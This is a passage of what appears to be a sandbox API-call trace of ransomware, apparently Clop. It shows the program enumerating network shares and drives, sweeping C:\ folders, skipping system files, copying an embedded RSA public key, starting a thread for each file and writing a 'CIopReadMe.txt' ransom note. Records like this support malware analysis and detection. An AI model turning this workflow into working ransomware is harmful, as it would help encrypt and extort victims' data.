[0285.055] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6058, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x67d380) returned 0x0 [0285.055] WNetEnumResourceW (in: hEnum=0x67d380, lpcCount=0x2c8ff40, lpBuffer=0x2f43440, lpBufferSize=0x2c8ff48 | out: lpcCount=0x2c8ff40, lpBuffer=0x2f43440, lpBufferSize=0x2c8ff48) returned 0x103 [0285.056] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6078, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4b8 [0297.330] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2ef6098, lphEnum=0x2c8ff3c | out: lphEnum=0x2c8ff3c*=0x0) returned 0x4c6 [0297.331] Sleep (dwMilliseconds=0x493e0) Thread: id = 27 os_tid = 0xf60 [0087.477] lstrcpyW (in: lpString1=0x2dcff48, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0087.478] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0087.478] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0087.479] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0087.479] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0087.480] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0087.480] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0087.481] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0087.481] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0087.481] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0087.481] SetErrorMode (uMode=0x1) returned 0x1 [0087.481] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.481] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.481] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0087.481] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0087.481] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x5d6a48 [0087.481] PathFindFileNameW (pszPath="C:") returned="C:" [0087.481] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.481] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.481] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.481] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0087.481] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0087.481] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0087.481] Sleep (dwMilliseconds=0xd) [0087.500] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.500] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0087.500] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0087.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0087.500] SetErrorMode (uMode=0x1) returned 0x1 [0087.500] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0087.500] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.501] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0087.501] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0087.501] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0087.501] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0087.501] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0087.501] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x348 [0087.506] WriteFile (in: hFile=0x348, lpBuffer=0x6026b0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dcdee4, lpOverlapped=0x0 | out: lpBuffer=0x6026b0*, lpNumberOfBytesWritten=0x2dcdee4*=0x759, lpOverlapped=0x0) returned 1 [0087.506] CloseHandle (hObject=0x348) returned 1 [0087.507] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.507] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0087.507] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0087.507] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0087.507] Sleep (dwMilliseconds=0xd) [0087.531] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.531] lstrcpyW (in: lpString1=0x2dce886, lpString2="BOOTNXT" | out: lpString1="BOOTNXT") returned="BOOTNXT" [0087.531] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0087.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0087.531] SetErrorMode (uMode=0x1) returned 0x1 [0087.531] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0087.531] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0087.531] CloseHandle (hObject=0x34c) returned 1 [0087.531] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.531] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0087.531] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0087.531] lstrlenW (lpString="bootsect.bak") returned 12 [0087.531] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.531] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0087.532] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0087.532] lstrlenW (lpString=".sys") returned 4 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0087.532] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0087.532] lstrlenW (lpString=".sys") returned 4 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0087.532] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0087.532] lstrlenW (lpString=".sys") returned 4 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.532] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0087.532] FindClose (in: hFindFile=0x5d6a48 | out: hFindFile=0x5d6a48) returned 1 [0087.533] FindClose (in: hFindFile=0x5d6a48 | out: hFindFile=0x5d6a48) returned 0 [0087.534] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.534] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0087.534] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x5d6a48 [0087.534] PathFindFileNameW (pszPath="C:") returned="C:" [0087.534] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.534] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0087.534] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0087.534] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.534] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.534] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0087.534] SetErrorMode (uMode=0x1) returned 0x1 [0087.534] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0087.534] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0087.534] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0087.534] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0087.534] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.534] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0087.534] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0087.534] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.535] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0087.535] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0087.535] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.535] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0087.535] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0087.535] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.535] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.535] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0087.535] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0087.535] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.535] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.535] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0087.535] SetErrorMode (uMode=0x1) returned 0x1 [0087.535] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0087.535] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0087.535] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0087.535] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0087.535] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.535] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0087.535] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0087.535] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.535] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0087.535] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0087.535] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6c48 [0087.535] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0087.536] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0087.536] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.536] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0087.536] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0087.536] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.536] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.536] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0087.536] SetErrorMode (uMode=0x1) returned 0x1 [0087.536] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0087.536] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0087.536] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0087.536] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0087.536] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6d48 [0087.536] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0087.536] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0087.536] FindNextFileW (in: hFindFile=0x5d6d48, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.536] FindNextFileW (in: hFindFile=0x5d6d48, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.536] FindClose (in: hFindFile=0x5d6d48 | out: hFindFile=0x5d6d48) returned 1 [0087.537] FindClose (in: hFindFile=0x5d6d48 | out: hFindFile=0x5d6d48) returned 0 [0087.537] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0087.537] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0087.537] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6a88 [0087.537] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0087.537] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0087.537] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0087.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.537] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0087.537] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.537] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.537] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0087.537] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0087.537] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.537] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0087.537] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0087.537] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.538] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.538] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0087.538] SetErrorMode (uMode=0x1) returned 0x1 [0087.538] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0087.538] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0087.538] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0087.538] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0087.538] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0087.538] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0087.538] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0087.538] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.538] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.538] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.538] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0087.538] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0087.538] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0087.538] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0087.538] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0087.538] lstrcmpW 